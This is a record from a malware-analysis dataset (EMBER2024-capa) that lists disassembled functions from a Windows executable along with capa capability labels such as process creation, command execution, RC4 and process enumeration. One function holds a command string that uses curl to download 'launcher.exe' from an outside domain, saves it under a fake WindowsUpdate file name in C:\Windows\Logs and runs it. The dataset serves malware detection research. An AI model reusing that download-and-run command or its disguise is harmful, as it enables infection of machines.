joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14004d780
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x30]
sub rsp, 0x130
mov rax, qword [0x1400ef080]
xor rax, rsp
mov qword [rbp + 0x20], rax
mov rbx, rcx
xor edi, edi
cmp qword [rcx + 0x18], 7
jbe 0x14004d7b4
mov rbx, qword [rcx]
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x68], xmm1
mov r8d, listen
lea rdx, str.rundll32.exe
lea rcx, [rsp + 0x58]
call fcn.140058fc0
nop
mov r8, 0xffffffffffffffff
inc r8
cmp word [rbx + r8*2], 0
jne 0x14004d7e4
mov rdx, rbx
lea rcx, [rsp + 0x58]
call fcn.140056ec0
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x60], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 7
mov word [rax], di
mov rdx, qword [rsp + 0x70]
cmp rdx, 7
jbe 0x14004d86e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004d869
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004d869
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c1110
mov dword [rbp - 0x50], 0x68
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
movups xmmword [rbp - 0x38], xmm0
movups xmmword [rbp - 0x28], xmm0
movups xmmword [rbp - 0x18], xmm0
movups xmmword [rbp - 8], xmm0
movups xmmword [rbp + 8], xmm0
lea rdx, [rbp - 0x70]
cmp qword [rbp - 0x58], 7
cmova rdx, qword [rbp - 0x70]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x14004d8fa
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbp - 0x58]
cmp rdx, 7
jbe 0x14004d93d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004d938
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004d938
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c1110
mov rcx, qword [rbp + 0x20]
xor rcx, rsp
call fcn.1400c0cc0
lea r11, [rsp + 0x130]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x14004dde0
Capabilities:
Check if file exists
Get file attributes
Move file

Disassembly:
push rbx
sub rsp, 0x50
mov rax, qword [0x1400ef080]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov rbx, rcx
cmp qword [rcx + 0x18], 7
jbe 0x14004de02
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14004de87
lea rcx, [rsp + 0x20]
call fcn.14004dea0
lea rdx, [rsp + 0x20]
cmp qword [rsp + 0x38], 7
cmova rdx, qword [rsp + 0x20]
cmp qword [rbx + 0x18], 7
jbe 0x14004de32
mov rbx, qword [rbx]
mov r8d, 9
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_MoveFileExW]
mov rdx, qword [rsp + 0x38]
cmp rdx, 7
jbe 0x14004de87
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004de81
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004de81
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c1110
nop
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.1400c0cc0
add rsp, 0x50
pop rbx
ret
Function at 0x140050df0
Capabilities:
Execute command

Disassembly:
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0x90
mov rax, qword [0x1400ef080]
xor rax, rsp
mov qword [rbp + 0x47], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x27], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x37], xmm1
mov r8d, 0x76
lea rdx, str.curl__s_https:__cdn.gosth.ltd_launcher.exe__o_C:WindowsLogsWindowsUpdateWindowsUpdate.20240222.213902.838.1444.exe
lea rcx, [rbp + 0x27]
call fcn.14004ac10
nop
lea rcx, [rbp + 0x27]
cmp qword [rbp + 0x3f], 0xf
cmova rcx, qword [rbp + 0x27]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rbp - 0x19], xmm0
xor eax, eax
mov qword [rbp - 9], rax
mov qword [rbp - 1], rax
lea r8d, [rax + 0x48]
lea rdx, str.C:WindowsLogsWindowsUpdateWindowsUpdate.20240222.213902.838.1444.exe
lea rcx, [rbp - 0x19]
call fcn.14004ac10
nop
xorps xmm0, xmm0
movups xmmword [rbp + 7], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x17], xmm1
mov r8d, 6
lea rdx, str.start
lea rcx, [rbp + 7]
call fcn.14004ac10
nop
lea rdx, [rbp - 0x19]
cmp qword [rbp - 1], 0xf
cmova rdx, qword [rbp - 0x19]
mov r8, qword [rbp - 9]
lea rcx, [rbp + 7]
call fcn.14004ab40
lea rcx, [rbp + 7]
cmp qword [rbp + 0x1f], 0xf
cmova rcx, qword [rbp + 7]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
mov rdx, qword [rbp + 0x1f]
cmp rdx, 0xf
jbe 0x140050f01
inc rdx
mov rcx, qword [rbp + 7]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140050efb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140050efb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c1110
nop
mov rdx, qword [rbp - 1]
cmp rdx, 0xf
jbe 0x140050f40
inc rdx
mov rcx, qword [rbp - 0x19]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140050f3a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140050f3a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c1110
nop
mov rdx, qword [rbp + 0x3f]
cmp rdx, 0xf
jbe 0x140050f7e
inc rdx
mov rcx, qword [rbp + 0x27]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140050f79
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140050f79
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c1110
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.1400c0cc0
add rsp, 0x90
pop rbp
ret
Function at 0x1400515e0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
mov eax, 0x13e0
call fcn.1400c1820
sub rsp, rax
mov rax, qword [0x1400ef080]
xor rax, rsp
mov qword [rsp + 0x13d0], rax
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x13c4], 0xffffffff
mov edx, 1
mov dword [rsp + 0x44], eax
nop dword [rax]
nop dword [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x44], eax
inc rdx
cmp rdx, 0x270
jb 0x140051630
mov dword [rsp + 0x40], 0x270
mov edi, reloc.WLDAP32.dll_Ordinal_200
mov dword [rsp + 0x20], 3
mov esi, 0xffffffff
nop dword [rax]
lea rcx, [rsp + 0x40]
call fcn.14005b300
mov ecx, eax
imul rax, rcx, 0x439
cmp eax, 0x319
ja 0x1400516aa
nop word [rax + rax]
lea rcx, [rsp + 0x40]
call fcn.14005b300
mov ecx, eax
imul rax, rcx, 0x439
cmp eax, 0x31a
jb 0x140051690
shr rax, 0x20
lea rcx, [rsp + 0x40]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
call fcn.14005b300
mov ecx, eax
mov rbx, rdi
movaps xmm1, xmm0
imul rax, rcx, 0x781
cmp eax, 0x781
jae 0x1400516fa
cmp eax, 0x4eb
jae 0x1400516fa
nop dword [rax]
lea rcx, [rsp + 0x40]
call fcn.14005b300
mov ecx, eax
imul rax, rcx, 0x781
cmp eax, 0x4eb
jb 0x1400516e0
mov rdx, qword [0x140100200]
shr rax, 0x20
cmp rdx, qword [0x140100208]
movss dword [rsp + 0x28], xmm1
movd xmm0, eax
cvtdq2ps xmm0, xmm0
movss dword [rsp + 0x24], xmm0
je 0x140051738
unpcklps xmm0, xmm1
movsd qword [rdx], xmm0
add qword [0x140100200], 8
movsd qword [rsp + 0x24], xmm0
jmp 0x140051749
lea r8, [rsp + 0x24]
lea rcx, [0x1401001f8]
call fcn.14005a2f0
lea rcx, [rsp + 0x40]
call fcn.14005b300
mov eax, eax
lea rcx, [rsp + 0x40]
add rax, rax
shr rax, 0x20
lea eax, [rax*2 - 1]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
call fcn.14005b300
mov rdx, qword [0x140100218]
mov ecx, eax
mov eax, 1
add rcx, rcx
movss dword [rsp + 0x30], xmm1
shr rcx, 0x20
test ecx, ecx
cmove eax, esi
cmp rdx, qword [0x140100220]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
movss dword [rsp + 0x2c], xmm0
je 0x1400517c1
unpcklps xmm0, xmm1
movsd qword [rdx], xmm0
add qword [0x140100218], 8
movsd qword [rsp + 0x2c], xmm0
jmp 0x1400517d2
lea r8, [rsp + 0x2c]
lea rcx, [0x140100210]
call fcn.14005a2f0
mov rdx, qword [0x140100238]
cmp rdx, qword [0x140100240]
je 0x1400517f2
mov dword [rdx], 3
add qword [0x140100238], 4
jmp 0x1400517fc
lea r8, [rsp + 0x20]
call fcn.14005a6b0
lea rdi, [rbx - 1]
test rdi, rdi
jne 0x140051670
mov rcx, qword [rsp + 0x13d0]
xor rcx, rsp
call fcn.1400c0cc0
lea r11, [rsp + 0x13e0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x1400529a0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
push rsi
sub rsp, 0x290
mov rax, qword [0x1400ef080]
xor rax, rsp
mov qword [rsp + 0x280], rax
xor edx, edx
mov rbx, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x1400529f9
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x140052a00
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140052aea
mov qword [rsp + 0x2a0], rdi
xor edi, edi
nop word [rax + rax]
xorps xmm0, xmm0
mov qword [rsp + 0x30], rdi
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x38], rdi
lea rax, [rsp + 0x6c]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp word [rax + r8*2], di
jne 0x140052a30
lea rdx, [rsp + 0x6c]
lea rcx, [rsp + 0x20]
call fcn.140058fc0
cmp qword [rbx + 0x18], 7
mov rax, rbx
jbe 0x140052a56
mov rax, qword [rbx]
mov r10, qword [rsp + 0x38]
lea r8, [rsp + 0x20]
mov r9, qword [rsp + 0x20]
cmp r10, 7
mov rdx, qword [rsp + 0x30]
cmova r8, r9
cmp rdx, qword [rbx + 0x10]
jne 0x140052b0b
test rdx, rdx
je 0x140052a98
sub r8, rax
movzx ecx, word [r8 + rax]
cmp cx, word [rax]
jne 0x140052b0b
add rax, 2
sub rdx, 1
jne 0x140052a84
mov edi, dword [rsp + 0x48]
cmp r10, 7
jbe 0x140052ad7
lea rdx, [r10*2 + 2]
mov rax, r9
cmp rdx, 0x1000
jb 0x140052acf
mov r9, qword [r9 - 8]
add rdx, 0x27
sub rax, r9
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052b5d
mov rcx, r9
call fcn.1400c1110
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
mov rdi, qword [rsp + 0x2a0]
mov rcx, qword [rsp + 0x280]
xor rcx, rsp
call fcn.1400c0cc0
mov rbx, qword [rsp + 0x2a8]
add rsp, 0x290
pop rsi
ret
cmp r10, 7
jbe 0x140052b42
lea rdx, [r10*2 + 2]
mov rax, r9
cmp rdx, 0x1000
jb 0x140052b3a
mov r9, qword [r9 - 8]
add rdx, 0x27
sub rax, r9
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052b5d
mov rcx, r9
call fcn.1400c1110
lea rdx, [rsp + 0x40]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140052a10
jmp 0x140052ad7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x140054dd0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x18], r8
push rdi
push r12
push r13
push r14
push r15
mov r14, qword [rsp + 0x50]
xor ebp, ebp
mov rax, qword [rsp + 0x58]
mov r13, r9
mov rbx, qword [rsp + 0x68]
mov r12, rdx
mov qword [r14], r8
mov qword [rbx], rax
mov rax, qword [r14]
cmp rax, r9
je 0x140054f61
mov r15, qword [rsp + 0x60]
lea r8d, [rbp + 1]
mov rdi, qword [rbx]
mov r11d, 0x2800
mov r9d, 0x3ff
mov r10d, 0x2400
cmp rdi, r15
je 0x140054f61
movzx edx, word [r12]
xor sil, sil
movzx ecx, word [rax]
cmp r8w, dx
jae 0x140054e6b
lea eax, [r10 + rcx]
cmp ax, r9w
ja 0x140054f88
mov eax, edx
sub ecx, 0xdc00
shl eax, 0xa
or eax, ecx
jmp 0x140054e82
mov eax, ecx
add cx, r11w
cmp cx, r9w
ja 0x140054e82
shl eax, 0xa
mov sil, 1
sub eax, 0x35f0000
cmp eax, 0x80
jae 0x140054e95
movzx r9d, al
mov r10d, ebp
mov r11d, ebp
jmp 0x140054ee2
mov r9d, eax
cmp eax, 0x800
jae 0x140054eaf
shr r9d, 6
mov r10d, r8d
or r9b, 0xc0
mov r11d, r8d
jmp 0x140054ee2
cmp eax, 0x10000
jae 0x140054ec9
shr r9d, 0xc
mov r10d, 2
or r9b, 0xe0
mov r11d, r10d
jmp 0x140054ee2
shr r9d, 0x12
mov r10d, 3
movzx r11d, sil
or r9b, 0xf0
xor r11d, 1
add r11d, r11d
lea r8d, [r11 + 1]
mov rdx, r15
sub rdx, rdi
mov ecx, r8d
cmp rdx, rcx
jl 0x140054f61
add qword [r14], 2
test sil, sil
jne 0x140054f03
cmp r10d, 3
jae 0x140054f0f
mov rcx, qword [rbx]
mov r8d, r11d
mov byte [rcx], r9b
inc qword [rbx]
mov r9, qword [rbx]
test r8d, r8d
jle 0x140054f3e
lea ecx, [r10 + r10*2]
add ecx, ecx
nop dword [rax]
sub ecx, 6
mov edx, eax
shr edx, cl
dec r8d
and dl, 0x3f
or dl, 0x80
mov byte [r9], dl
inc qword [rbx]
mov r9, qword [rbx]
test r8d, r8d
jg 0x140054f20
shr eax, 0xa
mov r8d, 1
test sil, sil
mov ecx, r8d
cmovne ecx, eax
mov word [r12], cx
mov rax, qword [r14]
cmp rax, r13
jne 0x140054e1f
mov rax, qword [rsp + 0x40]
cmp rax, qword [r14]
sete bpl
mov eax, ebp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x48]
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov eax, 2
jmp 0x140054f6f
Function at 0x140056280
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x1400562a8
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x1400562ce
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x1400562d0
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x140056329
test ecx, ecx
jle 0x140056309
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x140056329
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x140056329
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret

Function at 0x140056350
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x140056372
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je 0x140056388
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x1400563a4
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x1400563a6
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x1400563e2
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x14005647e
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x14005641d
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x14005645e
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x14005647e
cmp rbx, rax
ja 0x140056430
test rbx, rbx
je 0x14005647e
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
Function at 0x1400568f0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x1400ef080]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x14005691d
xor eax, eax
jmp 0x140056a89
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x140056957
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x140056957
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x140056a89
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x140056a7c
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x14005699a
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x1400569c5
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140056a81
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140056a34
sub eax, 1
je 0x140056a34
cmp eax, 2
jne 0x140056a7c
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140056a81
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x140056a62
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x140056a7c
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x140056a81
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.1400c0cc0
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret

Function at 0x140056c90
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
movabs rax, 0xcbf29ce484222325
mov r9d, 0
sub r8, rdx
je 0x140056cc4
movabs r10, 0x100000001b3
nop
movzx ecx, byte [rdx + r9]
inc r9
xor rax, rcx
imul rax, r10
cmp r9, r8
jb 0x140056cb0
ret
Function at 0x140057af0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x1400ef080]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x140057bc3
cmp byte [rcx + 0x71], 0
je 0x140057bc3
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + Ordinal_26]
cmp eax, 0xffffffff
je 0x140057bbf
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140057b84
sub eax, 1
je 0x140057b88
cmp eax, 2
jne 0x140057bbf
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400c0cc0
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x140057bb6
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x140057bbf
cmp byte [rbx + 0x71], 0
sete al
jmp 0x140057b6c
xor al, al
jmp 0x140057b6c
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400c0cc0
add rsp, 0x60
pop rbx
ret
Function at 0x14005b300
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r9, rcx
mov r10d, 0x270
mov ecx, dword [rcx]
cmp ecx, r10d
jne 0x14005b361
lea r8, [r9 + 8]
nop dword [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r10, 1
jne 0x14005b320
mov ecx, dword [r9]
jmp 0x14005b44b
cmp ecx, 0x4e0
jb 0x14005b44b
lea r10, [r9 + 0x9c4]
mov qword [rsp], rbx
mov r11d, dword [r10]
mov ebx, 0xe3
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
add r10, 4
mov edx, r11d
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x634]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x14005b380
lea r10, [r9 + 0xd50]
mov ebx, 0x18c
mov r11d, dword [r10]
nop
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
mov edx, eax
xor edx, r11d
add r10, 4
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 - 0xd4c]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x14005b3d0
mov eax, dword [r9 + 0x1380]
mov edx, eax
xor edx, dword [r9 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
xor ecx, ecx
mov dword [r9], ecx
mov eax, ecx
mov edx, dword [r9 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r9], eax
mov ecx, edx
mov eax, dword [r9 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret